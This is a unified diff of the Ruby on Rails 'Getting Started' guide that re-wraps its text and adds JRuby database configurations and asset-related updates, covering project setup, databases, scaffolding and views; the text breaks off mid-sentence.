REST in terms of Rails boils down to two main principles: +Rest stands for Representational State Transfer and is the foundation of the +RESTful architecture. This is generally considered to be Roy Fielding's doctoral +thesis, "Architectural Styles and the Design of Network-based Software +Architectures":http://www.ics.uci.edu/~fielding/pubs/dissertation/top.htm. While +you can read through the thesis, REST in terms of Rails boils down to two main +principles: * Using resource identifiers such as URLs to represent resources. * Transferring representations of the state of that resource between system components. -For example, to a Rails application a request such as this: +For example, the following HTTP request: <tt>DELETE /photos/17</tt> -would be understood to refer to a photo resource with the ID of 17, and to indicate a desired action - deleting that resource. REST is a natural style for the architecture of web applications, and Rails hooks into this shielding you from many of the RESTful complexities and browser quirks. +would be understood to refer to a photo resource with the ID of 17, and to +indicate a desired action - deleting that resource. REST is a natural style for +the architecture of web applications, and Rails hooks into this shielding you +from many of the RESTful complexities and browser quirks. -If you'd like more details on REST as an architectural style, these resources are more approachable than Fielding's thesis: +If you'd like more details on REST as an architectural style, these resources +are more approachable than Fielding's thesis: * "A Brief Introduction to REST":http://www.infoq.com/articles/rest-introduction by Stefan Tilkov * "An Introduction to REST":http://bitworking.org/news/373/An-Introduction-to-REST (video tutorial) by Joe Gregorio * "Representational State Transfer":http://en.wikipedia.org/wiki/Representational_State_Transfer article in Wikipedia -* "How to GET a Cup of Coffee":http://www.infoq.com/articles/webber-rest-workflow by Jim Webber, Savas Parastatidis & Ian Robinson +* "How to GET a Cup of Coffee":http://www.infoq.com/articles/webber-rest-workflow by Jim Webber, Savas Parastatidis & +Ian Robinson h3. Creating a New Rails Project -If you follow this guide, you'll create a Rails project called <tt>blog</tt>, a (very) simple weblog. Before you can start building the application, you need to make sure that you have Rails itself installed. +If you follow this guide, you'll create a Rails project called <tt>blog</tt>, a +(very) simple weblog. Before you can start building the application, you need to +make sure that you have Rails itself installed. + +TIP: The examples below use # and $ to denote terminal prompts. If you are using Windows, your prompt will look something like c:\source_code> h4. Installing Rails @@ -149,13 +230,19 @@ Usually run this as the root user: # gem install rails </shell> -TIP. If you're working on Windows, you can quickly install Ruby and Rails with "Rails Installer":http://railsinstaller.org. +TIP. If you're working on Windows, you can quickly install Ruby and Rails with +"Rails Installer":http://railsinstaller.org. h4. Creating the Blog Application -The best way to use this guide is to follow each step as it happens, no code or step needed to make this example application has been left out, so you can literally follow along step by step. If you need to see the completed code, you can download it from "Getting Started Code":https://github.com/mikel/getting-started-code. +The best way to use this guide is to follow each step as it happens, no code or +step needed to make this example application has been left out, so you can +literally follow along step by step. If you need to see the completed code, you +can download it from "Getting Started +Code":https://github.com/mikel/getting-started-code. -To begin, open a terminal, navigate to a folder where you have rights to create files, and type: +To begin, open a terminal, navigate to a folder where you have rights to create +files, and type: <shell> $ rails new blog @@ -163,57 +250,63 @@ $ rails new blog This will create a Rails application called Blog in a directory called blog. -TIP: You can see all of the switches that the Rails application builder accepts by running <tt>rails new -h</tt>. +TIP: You can see all of the switches that the Rails application builder accepts +by running +<tt>rails new -h</tt>. -After you create the blog application, switch to its folder to continue work directly in that application: +After you create the blog application, switch to its folder to continue work +directly in that application: <shell> $ cd blog </shell> -In any case, Rails will create a folder in your working directory called <tt>blog</tt>. Open up that folder and explore its contents. Most of the work in this tutorial will happen in the <tt>app/</tt> folder, but here's a basic rundown on the function of each folder that Rails creates in a new application by default: +In any case, Rails will create a folder in your working directory called +<tt>blog</tt>. Open up that folder and explore its contents. Most of the work in +this tutorial will happen in the <tt>app/</tt> folder, but here's a basic +rundown on the function of each folder that Rails creates in a new application +by default: |_.File/Folder|_.Purpose| -|Gemfile|This file allows you to specify what gem dependencies are needed for your Rails application.| -|README|This is a brief instruction manual for your application. Use it to tell others what your application does, how to set it up, and so on.| -|Rakefile|This file contains batch jobs that can be run from the terminal.| -|app/|Contains the controllers, models, and views for your application. You'll focus on this folder for the remainder of this guide.| +|Gemfile|This file allows you to specify what gem dependencies are needed for your Rails application. See section on Bundler, below.| +|README|This is a brief instruction manual for your application. You should edit this file to tell others what your application does, how to set it up, and so on.| +|Rakefile|This file locates and loads tasks that can be run from the command line. The task definitions are defined throughout the components of Rails. Rather than changing Rakefile, you should add your own tasks by adding files to the lib/tasks directory of your application.| +|app/|Contains the controllers, models, views and assets for your application. You'll focus on this folder for the remainder of this guide.| |config/|Configure your application's runtime rules, routes, database, and more.| |config.ru|Rack configuration for Rack based servers used to start the application.| |db/|Shows your current database schema, as well as the database migrations. You'll learn about migrations shortly.| |doc/|In-depth documentation for your application.| |lib/|Extended modules for your application (not covered in this guide).| |log/|Application log files.| -|public/|The only folder seen to the world as-is. This is where your images, JavaScript files, stylesheets (CSS), and other static files go.| +|public/|The only folder seen to the world as-is. Contains the static files and compiled assets.| |script/|Contains the rails script that starts your app and can contain other scripts you use to deploy or run your application.| |test/|Unit tests, fixtures, and other test apparatus. These are covered in "Testing Rails Applications":testing.html| |tmp/|Temporary files| |vendor/|A place for all third-party code. In a typical Rails application, this includes Ruby Gems, the Rails source code (if you install it into your project) and plugins containing additional prepackaged functionality.| -h4. Installing the Required Gems - -Rails applications manage gem dependencies with "Bundler":http://gembundler.com/v1.0/index.html by default. As we don't need any other gems beyond the ones in the generated +Gemfile+ we can directly run - -<shell> -$ bundle install -</shell> - -to have them ready. - h4. Configuring a Database -Just about every Rails application will interact with a database. The database to use is specified in a configuration file, +config/database.yml+. -If you open this file in a new Rails application, you'll see a default database configuration using SQLite3. The file contains sections for three different environments in which Rails can run by default: +Just about every Rails application will interact with a database. The database +to use is specified in a configuration file, +config/database.yml+. If you open +this file in a new Rails application, you'll see a default database +configuration using SQLite3. The file contains sections for three different +environments in which Rails can run by default: -* The +development+ environment is used on your development computer as you interact manually with the application -* The +test+ environment is used to run automated tests +* The +development+ environment is used on your development computer as you interact manually with the application. +* The +test+ environment is used to run automated tests. * The +production+ environment is used when you deploy your application for the world to use. h5. Configuring an SQLite3 Database -Rails comes with built-in support for "SQLite3":http://www.sqlite.org, which is a lightweight serverless database application. While a busy production environment may overload SQLite, it works well for development and testing. Rails defaults to using an SQLite database when creating a new project, but you can always change it later. +Rails comes with built-in support for "SQLite3":http://www.sqlite.org, which is +a lightweight serverless database application. While a busy production +environment may overload SQLite, it works well for development and testing. +Rails defaults to using an SQLite database when creating a new project, but you +can always change it later. -Here's the section of the default configuration file (<tt>config/database.yml</tt>) with connection information for the development environment: +Here's the section of the default configuration file +(<tt>config/database.yml</tt>) with connection information for the development +environment: <yaml> development: @@ -223,11 +316,17 @@ development: timeout: 5000 </yaml> -NOTE: In this guide we are using an SQLite3 database for data storage, because it is a zero configuration database that just works. Rails also supports MySQL and PostgreSQL "out of the box", and has plugins for many database systems. If you are using a database in a production environment Rails most likely has an adapter for it. +NOTE: In this guide we are using an SQLite3 database for data storage, because +it is a zero configuration database that just works. Rails also supports MySQL +and PostgreSQL "out of the box", and has plugins for many database systems. If +you are using a database in a production environment Rails most likely has an +adapter for it. h5. Configuring a MySQL Database -If you choose to use MySQL instead of the shipped SQLite3 database, your +config/database.yml+ will look a little different. Here's the development section: +If you choose to use MySQL instead of the shipped SQLite3 database, your ++config/database.yml+ will look a little different. Here's the development +section: <yaml> development: @@ -240,11 +339,14 @@ development: socket: /tmp/mysql.sock </yaml> -If your development computer's MySQL installation includes a root user with an empty password, this configuration should work for you. Otherwise, change the username and password in the +development+ section as appropriate. +If your development computer's MySQL installation includes a root user with an +empty password, this configuration should work for you. Otherwise, change the +username and password in the +development+ section as appropriate. h5. Configuring a PostgreSQL Database -Finally if you choose to use PostgreSQL, your +config/database.yml+ will be customized to use PostgreSQL databases: +If you choose to use PostgreSQL, your +config/database.yml+ will be customized +to use PostgreSQL databases: <yaml> development: @@ -256,53 +358,120 @@ development: password: </yaml> +h5. Configuring an SQLite3 Database for JRuby Platform + +If you choose to use SQLite3 and are using JRuby, your +config/database.yml+ will +look a little different. Here's the development section: + +<yaml> +development: + adapter: jdbcsqlite3 + database: db/development.sqlite3 +</yaml> + +h5. Configuring a MySQL Database for JRuby Platform + +If you choose to use MySQL and are using JRuby, your +config/database.yml+ will look +a little different. Here's the development section: + +<yaml> +development: + adapter: jdbcmysql + database: blog_development + username: root + password: +</yaml> + +h5. Configuring a PostgreSQL Database for JRuby Platform + +Finally if you choose to use PostgreSQL and are using JRuby, your ++config/database.yml+ will look a little different. Here's the development +section: + +<yaml> +development: + adapter: jdbcpostgresql + encoding: unicode + database: blog_development + username: blog + password: +</yaml> + Change the username and password in the +development+ section as appropriate. -TIP: You don't have to update the database configurations manually. If you had a look at the options of application generator, you have seen that one of them is named <tt>--database</tt>. It lets you choose an adapter for couple of most used relational databases. You can even run the generator repeatedly: <tt>cd .. && rails new blog --database=mysql</tt>. When you confirm the overwriting of the +config/database.yml+ file, your application will be configured for MySQL instead of SQLite. +TIP: You don't have to update the database configurations manually. If you look at the +options of the application generator, you will see that one of the options +is named <tt>--database</tt>. This option allows you to choose an adapter from a +list of the most used relational databases. You can even run the generator +repeatedly: <tt>cd .. && rails new blog --database=mysql</tt>. When you confirm the overwriting + of the +config/database.yml+ file, your application will be configured for MySQL +instead of SQLite. h4. Creating the Database -Now that you have your database configured, it's time to have Rails create an empty database for you. You can do this by running a rake command: +Now that you have your database configured, it's time to have Rails create an +empty database for you. You can do this by running a rake command: <shell> $ rake db:create </shell> -This will create your development and test SQLite3 databases inside the <tt>db/</tt> folder. +This will create your development and test SQLite3 databases inside the +<tt>db/</tt> folder. -TIP: Rake is a general-purpose command-runner that Rails uses for many things. You can see the list of available rake commands in your application by running +rake -T+. +TIP: Rake is a general-purpose command-runner that Rails uses for many things. +You can see the list of available rake commands in your application by running ++rake -T+. h3. Hello, Rails! -One of the traditional places to start with a new language is by getting some text up on screen quickly. To do this, you need to get your Rails application server running. +One of the traditional places to start with a new language is by getting some +text up on screen quickly. To do this, you need to get your Rails application +server running. h4. Starting up the Web Server -You actually have a functional Rails application already. To see it, you need to start a web server on your development machine. You can do this by running: +You actually have a functional Rails application already. To see it, you need to +start a web server on your development machine. You can do this by running: <shell> $ rails server </shell> -This will fire up an instance of the WEBrick web server by default (Rails can also use several other web servers). To see your application in action, open a browser window and navigate to "http://localhost:3000":http://localhost:3000. You should see Rails' default information page: +This will fire up an instance of the WEBrick web server by default (Rails can +also use several other web servers). To see your application in action, open a +browser window and navigate to "http://localhost:3000":http://localhost:3000. +You should see Rails' default information page: !images/rails_welcome.png(Welcome Aboard screenshot)! -TIP: To stop the web server, hit Ctrl+C in the terminal window where it's running. In development mode, Rails does not generally require you to stop the server; changes you make in files will be automatically picked up by the server. +TIP: To stop the web server, hit Ctrl+C in the terminal window where it's +running. In development mode, Rails does not generally require you to stop the +server; changes you make in files will be automatically picked up by the server. -The "Welcome Aboard" page is the _smoke test_ for a new Rails application: it makes sure that you have your software configured correctly enough to serve a page. You can also click on the _About your application’s environment_ link to see a summary of your Application's environment. +The "Welcome Aboard" page is the _smoke test_ for a new Rails application: it +makes sure that you have your software configured correctly enough to serve a +page. You can also click on the _About your application’s environment_ link to +see a summary of your application's environment. h4. Say "Hello", Rails -To get Rails saying "Hello", you need to create at minimum a controller and a view. Fortunately, you can do that in a single command. Enter this command in your terminal: +To get Rails saying "Hello", you need to create at minimum a controller and a +view. Fortunately, you can do that in a single command. Enter this command in +your terminal: <shell> $ rails generate controller home index </shell> -TIP: If you're on Windows, or your Ruby is set up in some non-standard fashion, you may need to explicitly pass Rails +rails+ commands to Ruby: <tt>ruby \path\to\your\application\script\rails generate controller home index</tt>. +TIP: If you get a command not found error when running this command, you +need to explicitly pass Rails +rails+ commands to Ruby: <tt>ruby +\path\to\your\application\script\rails generate controller home index</tt>. -Rails will create several files for you, including +app/views/home/index.html.erb+. This is the template that will be used to display the results of the +index+ action (method) in the +home+ controller. Open this file in your text editor and edit it to contain a single line of code: +Rails will create several files for you, including ++app/views/home/index.html.erb+. This is the template that will be used to +display the results of the +index+ action (method) in the +home+ controller. +Open this file in your text editor and edit it to contain a single line of code: <code class="html"> <h1>Hello, Rails!</h1> @@ -310,17 +479,30 @@ Rails will create several files for you, including +app/views/home/index.html.er h4. Setting the Application Home Page -Now that we have made the controller and view, we need to tell Rails when we want "Hello Rails" to show up. In our case, we want it to show up when we navigate to the root URL of our site, "http://localhost:3000":http://localhost:3000, instead of the "Welcome Aboard" smoke test. +Now that we have made the controller and view, we need to tell Rails when we +want "Hello Rails" to show up. In our case, we want it to show up when we +navigate to the root URL of our site, +"http://localhost:3000":http://localhost:3000, instead of the "Welcome Aboard" +smoke test. -The first step to doing this is to delete the default page from your application: +The first step to doing this is to delete the default page from your +application: <shell> $ rm public/index.html </shell> -We need to do this as Rails will deliver any static file in the +public+ directory in preference to any dynamic content we generate from the controllers. +We need to do this as Rails will deliver any static file in the +public+ +directory in preference to any dynamic content we generate from the controllers. -Now, you have to tell Rails where your actual home page is located. Open the file +config/routes.rb+ in your editor. This is your application's _routing file_ which holds entries in a special DSL (domain-specific language) that tells Rails how to connect incoming requests to controllers and actions. This file contains many sample routes on commented lines, and one of them actually shows you how to connect the root of your site to a specific controller and action. Find the line beginning with +root :to+, uncomment it and change it like the following: +Now, you have to tell Rails where your actual home page is located. Open the +file +config/routes.rb+ in your editor. This is your application's _routing +file_ which holds entries in a special DSL (domain-specific language) that tells +Rails how to connect incoming requests to controllers and actions. This file +contains many sample routes on commented lines, and one of them actually shows +you how to connect the root of your site to a specific controller and action. +Find the line beginning with +root :to+, uncomment it and change it like the +following: <ruby> Blog::Application.routes.draw do @@ -331,27 +513,33 @@ Blog::Application.routes.draw do root :to => "home#index" </ruby> -The +root :to => "home#index"+ tells Rails to map the root action to the home controller's index action. +The +root :to => "home#index"+ tells Rails to map the root action to the home +controller's index action. -Now if you navigate to "http://localhost:3000":http://localhost:3000 in your browser, you'll see +Hello, Rails!+. +Now if you navigate to "http://localhost:3000":http://localhost:3000 in your +browser, you'll see +Hello, Rails!+. -NOTE. For more information about routing, refer to "Rails Routing from the Outside In":routing.html. +NOTE. For more information about routing, refer to "Rails Routing from the +Outside In":routing.html. h3. Getting Up and Running Quickly with Scaffolding -Rails _scaffolding_ is a quick way to generate some of the major pieces of an application. If you want to create the models, views, and controllers for a new resource in a single operation, scaffolding is the tool for the job. +Rails _scaffolding_ is a quick way to generate some of the major pieces of an +application. If you want to create the models, views, and controllers for a new +resource in a single operation, scaffolding is the tool for the job. h3. Creating a Resource -In the case of the blog application, you can start by generating a scaffolded Post resource: this will represent a single blog posting. To do this, enter this command in your terminal: +In the case of the blog application, you can start by generating a scaffolded +Post resource: this will represent a single blog posting. To do this, enter this +command in your terminal: <shell> $ rails generate scaffold Post name:string title:string content:text </shell> -NOTE. While scaffolding will get you up and running quickly, the code it generates is unlikely to be a perfect fit for your application. You'll most probably want to customize the generated code. Many experienced Rails developers avoid scaffolding entirely, preferring to write all or most of their source code from scratch. Rails, however, makes it really simple to customize templates for generated models, controllers, views and other source files. You'll find more information in the "Creating and Customizing Rails Generators & Templates":generators.html guide. - -The scaffold generator will build 15 files in your application, along with some folders, and edit one more. Here's a quick overview of what it creates: +The scaffold generator will build several files in your application, along with some +folders, and edit <tt>config/routes.rb</tt>. Here's a quick overview of what it creates: |_.File |_.Purpose| |db/migrate/20100207214725_create_posts.rb |Migration to create the posts table in your database (your name will include a different timestamp)| @@ -364,17 +552,34 @@ The scaffold generator will build 15 files in your application, along with some |app/views/posts/new.html.erb |A view to create a new post| |app/views/posts/_form.html.erb |A partial to control the overall look and feel of the form used in edit and new views| |app/helpers/posts_helper.rb |Helper functions to be used from the post views| +|app/assets/stylesheets/scaffolds.css.scss |Cascading style sheet to make the scaffolded views look better| +|app/assets/stylesheets/posts.css.scss |Cascading style sheet for the posts controller| +|app/assets/javascripts/posts.js.coffee |CoffeeScript for the posts controller| |test/unit/post_test.rb |Unit testing harness for the posts model| |test/functional/posts_controller_test.rb |Functional testing harness for the posts controller| |test/unit/helpers/posts_helper_test.rb |Unit testing harness for the posts helper| |config/routes.rb |Edited to include routing information for posts| -|app/assets/stylesheets/scaffold.css.scss |Cascading style sheet to make the scaffolded views look better| + +NOTE. While scaffolding will get you up and running quickly, the code it +generates is unlikely to be a perfect fit for your application. You'll most +probably want to customize the generated code. Many experienced Rails developers +avoid scaffolding entirely, preferring to write all or most of their source code +from scratch. Rails, however, makes it really simple to customize templates for +generated models, controllers, views and other source files. You'll find more +information in the "Creating and Customizing Rails Generators & +Templates":generators.html guide. h4. Running a Migration -One of the products of the +rails generate scaffold+ command is a _database migration_. Migrations are Ruby classes that are designed to make it simple to create and modify database tables. Rails uses rake commands to run migrations, and it's possible to undo a migration after it's been applied to your database. Migration filenames include a timestamp to ensure that they're processed in the order that they were created. +One of the products of the +rails generate scaffold+ command is a _database +migration_. Migrations are Ruby classes that are designed to make it simple to +create and modify database tables. Rails uses rake commands to run migrations, +and it's possible to undo a migration after it's been applied to your database. +Migration filenames include a timestamp to ensure that they're processed in the +order that they were created. -If you look in the +db/migrate/20100207214725_create_posts.rb+ file (remember, yours will have a slightly different name), here's what you'll find: +If you look in the +db/migrate/20100207214725_create_posts.rb+ file (remember, +yours will have a slightly different name), here's what you'll find: <ruby> class CreatePosts < ActiveRecord::Migration @@ -390,7 +595,14 @@ class CreatePosts < ActiveRecord::Migration end </ruby> -The above migration creates a method name +change+ which will be called when you run this migration. The action defined in that method is also reversible, which means Rails knows how to reverse the change made by this migration, in case you want to reverse it at later date. By default, when you run this migration it will creates a +posts+ table with two string columns and a text column. It also creates two timestamp fields to track record creation and updating. More information about Rails migrations can be found in the "Rails Database Migrations":migrations.html guide. +The above migration creates a method named +change+ which will be called when you +run this migration. The action defined in that method is also reversible, which +means Rails knows how to reverse the change made by this migration, in case you +want to reverse it at later date. By default, when you run this migration it +creates a +posts+ table with two string columns and a text column. It also +creates two timestamp fields to track record creation and updating. More +information about Rails migrations can be found in the "Rails Database +Migrations":migrations.html guide. At this point, you can use a rake command to run the migration: @@ -398,7 +610,8 @@ At this point, you can use a rake command to run the migration: $ rake db:migrate </shell> -Rails will execute this migration command and tell you it created the Posts table. +Rails will execute this migration command and tell you it created the Posts +table. <shell> == CreatePosts: migrating ==================================================== @@ -407,28 +620,43 @@ Rails will execute this migration command and tell you it created the Posts tabl == CreatePosts: migrated (0.0020s) =========================================== </shell> -NOTE. Because you're working in the development environment by default, this command will apply to the database defined in the +development+ section of your +config/database.yml+ file. If you would like to execute migrations in other environment, for instance in production, you must explicitly pass it when invoking the command: <tt>rake db:migrate RAILS_ENV=production</tt>. +NOTE. Because by default you're working in the development environment, this +command will apply to the database defined in the +development+ section of your ++config/database.yml+ file. If you would like to execute migrations in another +environment, for instance in production, you must explicitly pass it when +invoking the command: <tt>rake db:migrate RAILS_ENV=production</tt>. h4. Adding a Link -To hook the posts up to the home page you've already created, you can add a link to the home page. Open +app/views/home/index.html.erb+ and modify it as follows: +To hook the posts up to the home page you've already created, you can add a link +to the home page. Open +app/views/home/index.html.erb+ and modify it as follows: -<code lang="ruby"> +<ruby> <h1>Hello, Rails!</h1> <%= link_to "My Blog", posts_path %> -</code> +</ruby> -The +link_to+ method is one of Rails' built-in view helpers. It creates a hyperlink based on text to display and where to go - in this case, to the path for posts. +The +link_to+ method is one of Rails' built-in view helpers. It creates a +hyperlink based on text to display and where to go - in this case, to the path +for posts. h4. Working with Posts in the Browser -Now you're ready to start working with posts. To do that, navigate to "http://localhost:3000":http://localhost:3000/ and then click the "My Blog" link: +Now you're ready to start working with posts. To do that, navigate to +"http://localhost:3000":http://localhost:3000/ and then click the "My Blog" +link: !images/posts_index.png(Posts Index screenshot)! -This is the result of Rails rendering the +index+ view of your posts. There aren't currently any posts in the database, but if you click the +New Post+ link you can create one. After that, you'll find that you can edit posts, look at their details, or destroy them. All of the logic and HTML to handle this was built by the single +rails generate scaffold+ command. +This is the result of Rails rendering the +index+ view of your posts. There +aren't currently any posts in the database, but if you click the +New Post+ link +you can create one. After that, you'll find that you can edit posts, look at +their details, or destroy them. All of the logic and HTML to handle this was +built by the single +rails generate scaffold+ command. -TIP: In development mode (which is what you're working in by default), Rails reloads your application with every browser request, so there's no need to stop and restart the web server. +TIP: In development mode (which is what you're working in by default), Rails +reloads your application with every browser request, so there's no need to stop +and restart the web server. Congratulations, you're riding the rails! Now it's time to see how it all works. @@ -441,11 +669,16 @@ class Post < ActiveRecord::Base end </ruby> -There isn't much to this file - but note that the +Post+ class inherits from +ActiveRecord::Base+. Active Record supplies a great deal of functionality to your Rails models for free, including basic database CRUD (Create, Read, Update, Destroy) operations, data validation, as well as sophisticated search support and the ability to relate multiple models to one another. +There isn't much to this file - but note that the +Post+ class inherits from ++ActiveRecord::Base+. Active Record supplies a great deal of functionality to +your Rails models for free, including basic database CRUD (Create, Read, Update, +Destroy) operations, data validation, as well as sophisticated search support +and the ability to relate multiple models to one another. h4. Adding Some Validation -Rails includes methods to help you validate the data that you send to models. Open the +app/models/post.rb+ file and edit it: +Rails includes methods to help you validate the data that you send to models. +Open the +app/models/post.rb+ file and edit it: <ruby> class Post < ActiveRecord::Base @@ -455,17 +688,24 @@ class Post < ActiveRecord::Base end </ruby> -These changes will ensure that all posts have a name and a title, and that the title is at least five characters long. Rails can validate a variety of conditions in a model, including the presence or uniqueness of columns, their format, and the existence of associated objects. +These changes will ensure that all posts have a name and a title, and that the +title is at least five characters long. Rails can validate a variety of +conditions in a model, including the presence or uniqueness of columns, their +format, and the existence of associated objects. h4. Using the Console -To see your validations in action, you can use the console. The console is a command-line tool that lets you execute Ruby code in the context of your application: +To see your validations in action, you can use the console. The console is a +command-line tool that lets you execute Ruby code in the context of your +application: <shell> $ rails console </shell> -TIP: The default console will make changes to your database. You can instead open a console that will roll back any changes you make by using +rails console --sandbox+. +TIP: The default console will make changes to your database. You can instead +open a console that will roll back any changes you make by using <tt>rails console +--sandbox</tt>. After the console loads, you can use it to work with your application's models: @@ -482,15 +722,21 @@ After the console loads, you can use it to work with your application's models: :name=>["can't be blank"] }> </shell> -This code shows creating a new +Post+ instance, attempting to save it and getting +false+ for a return value (indicating that the save failed), and inspecting the +errors+ of the post. +This code shows creating a new +Post+ instance, attempting to save it and +getting +false+ for a return value (indicating that the save failed), and +inspecting the +errors+ of the post. When you're finished, type +exit+ and hit +return+ to exit the console. -TIP: Unlike the development web server, the console does not automatically load your code afresh for each line. If you make changes to your models while the console is open, type +reload!+ at the console prompt to load them. +TIP: Unlike the development web server, the console does not automatically load +your code afresh for each line. If you make changes to your models while the +console is open, type +reload!+ at the console prompt to load them. h4. Listing All Posts -The easiest place to start looking at functionality is with the code that lists all posts. Open the file +app/controllers/posts_controller.rb+ and look at the +index+ action: +The easiest place to start looking at functionality is with the code that lists +all posts. Open the file +app/controllers/posts_controller.rb+ and look at the ++index+ action: <ruby> def index @@ -503,11 +749,19 @@ def index end </ruby> -+Post.all+ calls the +Post+ model to return all of the posts currently in the database. The result of this call is an array of posts that we store in a instance variable called +@posts+. ++Post.all+ calls the +Post+ model to return all of the posts currently in the +database. The result of this call is an array of posts that we store in an +instance variable called +@posts+. -TIP: For more information on finding records with Active Record, see "Active Record Query Interface":active_record_querying.html. +TIP: For more information on finding records with Active Record, see "Active +Record Query Interface":active_record_querying.html. -The +respond_to+ block handles both HTML and JSON calls to this action. If you browse to "http://localhost:3000/posts.json":http://localhost:3000/posts.json, you'll see a JSON containing all of the posts. The HTML format looks for a view in +app/views/posts/+ with a name that corresponds to the action name. Rails makes all of the instance variables from the action available to the view. Here's +app/views/posts/index.html.erb+: +The +respond_to+ block handles both HTML and JSON calls to this action. If you +browse to "http://localhost:3000/posts.json":http://localhost:3000/posts.json, +you'll see a JSON containing all of the posts. The HTML format looks for a view +in +app/views/posts/+ with a name that corresponds to the action name. Rails +makes all of the instance variables from the action available to the view. +Here's +app/views/posts/index.html.erb+: <erb> <h1>Listing posts</h1> @@ -529,7 +783,8 @@ The +respond_to+ block handles both HTML and JSON calls to this action. If you b <td><%= post.content %></td> <td><%= link_to 'Show', post %></td> <td><%= link_to 'Edit', edit_post_path(post) %></td> - <td><%= link_to 'Destroy', post, :confirm => 'Are you sure?', :method => :delete %></td> + <td><%= link_to 'Destroy', post, :confirm => 'Are you sure?', + :method => :delete %></td> </tr> <% end %> </table> @@ -539,26 +794,39 @@ The +respond_to+ block handles both HTML and JSON calls to this action. If you b <%= link_to 'New post', new_post_path %> </erb> -This view iterates over the contents of the +@posts+ array to display content and links. A few things to note in the view: +This view iterates over the contents of the +@posts+ array to display content +and links. A few things to note in the view: * +link_to+ builds a hyperlink to a particular destination * +edit_post_path+ and +new_post_path+ are helpers that Rails provides as part of RESTful routing. You'll see a variety of these helpers for the different actions that the controller includes. -NOTE. In previous versions of Rails, you had to use +<%=h post.name %>+ so that any HTML would be escaped before being inserted into the page. In Rails 3.0, this is now the default. To get unescaped HTML, you now use +<%= raw post.name %>+. +NOTE. In previous versions of Rails, you had to use +<%=h post.name %>+ so +that any HTML would be escaped before being inserted into the page. In Rails +3.0, this is now the default. To get unescaped HTML, you now use +<%= raw +post.name %>+. -TIP: For more details on the rendering process, see "Layouts and Rendering in Rails":layouts_and_rendering.html. +TIP: For more details on the rendering process, see "Layouts and Rendering in +Rails":layouts_and_rendering.html. h4. Customizing the Layout -The view is only part of the story of how HTML is displayed in your web browser. Rails also has the concept of +layouts+, which are containers for views. When Rails renders a view to the browser, it does so by putting the view's HTML into a layout's HTML. In previous versions of Rails, the +rails generate scaffold+ command would automatically create a controller specific layout, like +app/views/layouts/posts.html.erb+, for the posts controller. However this has been changed in Rails 3.0. An application specific +layout+ is used for all the controllers and can be found in +app/views/layouts/application.html.erb+. Open this layout in your editor and modify the +body+ tag: +The view is only part of the story of how HTML is displayed in your web browser. +Rails also has the concept of +layouts+, which are containers for views. When +Rails renders a view to the browser, it does so by putting the view's HTML into +a layout's HTML. In previous versions of Rails, the +rails generate scaffold+ +command would automatically create a controller specific layout, like ++app/views/layouts/posts.html.erb+, for the posts controller. However this has +been changed in Rails 3.0. An application specific +layout+ is used for all the +controllers and can be found in +app/views/layouts/application.html.erb+. Open +this layout in your editor and modify the +body+ tag: <erb> <!DOCTYPE html> <html> <head> <title>Blog</title> - <%= stylesheet_link_tag :all %> - <%= javascript_include_tag :defaults %> + <%= stylesheet_link_tag "application" %> + <%= javascript_include_tag "application" %> <%= csrf_meta_tags %> </head> <body style="background: #EEEEEE;"> @@ -569,11 +837,13 @@ The view is only part of the story of how HTML is displayed in your web browser. </html> </erb> -Now when you refresh the +/posts+ page, you'll see a gray background to the page. This same gray background will be used throughout all the views for posts. +Now when you refresh the +/posts+ page, you'll see a gray background to the +page. This same gray background will be used throughout all the views for posts. h4. Creating New Posts -Creating a new post involves two actions. The first is the +new+ action, which instantiates an empty +Post+ object: +Creating a new post involves two actions. The first is the +new+ action, which +instantiates an empty +Post+ object: <ruby> def new @@ -596,15 +866,22 @@ The +new.html.erb+ view displays this empty Post to the user: <%= link_to 'Back', posts_path %> </erb> -The +<%= render 'form' %>+ line is our first introduction to _partials_ in Rails. A partial is a snippet of HTML and Ruby code that can be reused in multiple locations. In this case, the form used to make a new post, is basically identical to a form used to edit a post, both have text fields for the name and title and a text area for the content with a button to make a new post or update the existing post. +The +<%= render 'form' %>+ line is our first introduction to _partials_ in +Rails. A partial is a snippet of HTML and Ruby code that can be reused in +multiple locations. In this case, the form used to make a new post is basically +identical to the form used to edit a post, both having text fields for the name and +title, a text area for the content, and a button to create the new post or to update +the existing one. -If you take a look at +views/posts/_form.html.erb+ file, you will see the following: +If you take a look at +views/posts/_form.html.erb+ file, you will see the +following: <erb> <%= form_for(@post) do |f| %> <% if @post.errors.any? %> <div id="errorExplanation"> - <h2><%= pluralize(@post.errors.count, "error") %> prohibited this post from being saved:</h2> + <h2><%= pluralize(@post.errors.count, "error") %> prohibited + this post from being saved:</h2> <ul> <% @post.errors.full_messages.each do |msg| %> <li><%= msg %></li> @@ -631,17 +908,34 @@ If you take a look at +views/posts/_form.html.erb+ file, you will see the follow <% end %> </erb> -This partial receives all the instance variables defined in the calling view file, so in this case, the controller assigned the new Post object to +@post+ and so, this is available in both the view and partial as +@post+. +This partial receives all the instance variables defined in the calling view +file. In this case, the controller assigned the new +Post+ object to +@post+, +which will thus be available in both the view and the partial as +@post+. -For more information on partials, refer to the "Layouts and Rendering in Rails":layouts_and_rendering.html#using-partials guide. +For more information on partials, refer to the "Layouts and Rendering in +Rails":layouts_and_rendering.html#using-partials guide. -The +form_for+ block is used to create an HTML form. Within this block, you have access to methods to build various controls on the form. For example, +f.text_field :name+ tells Rails to create a text input on the form, and to hook it up to the +name+ attribute of the instance being displayed. You can only use these methods with attributes of the model that the form is based on (in this case +name+, +title+, and +content+). Rails uses +form_for+ in preference to having you write raw HTML because the code is more succinct, and because it explicitly ties the form to a particular model instance. +The +form_for+ block is used to create an HTML form. Within this block, you have +access to methods to build various controls on the form. For example, ++f.text_field :name+ tells Rails to create a text input on the form and to hook +it up to the +name+ attribute of the instance being displayed. You can only use +these methods with attributes of the model that the form is based on (in this +case +name+, +title+, and +content+). Rails uses +form_for+ in preference to +having you write raw HTML because the code is more succinct, and because it +explicitly ties the form to a particular model instance. -The +form_for+ block is also smart enough to work out if you are doing a _New Post_ or an _Edit Post_ action, and will set the form +action+ tags and submit button names appropriately in the HTML output. +The +form_for+ block is also smart enough to work out if you are doing a _New +Post_ or an _Edit Post_ action, and will set the form +action+ tags and submit +button names appropriately in the HTML output. -TIP: If you need to create an HTML form that displays arbitrary fields, not tied to a model, you should use the +form_tag+ method, which provides shortcuts for building forms that are not necessarily tied to a model instance. +TIP: If you need to create an HTML form that displays arbitrary fields, not tied +to a model, you should use the +form_tag+ method, which provides shortcuts for +building forms that are not necessarily tied to a model instance. -When the user clicks the +Create Post+ button on this form, the browser will send information back to the 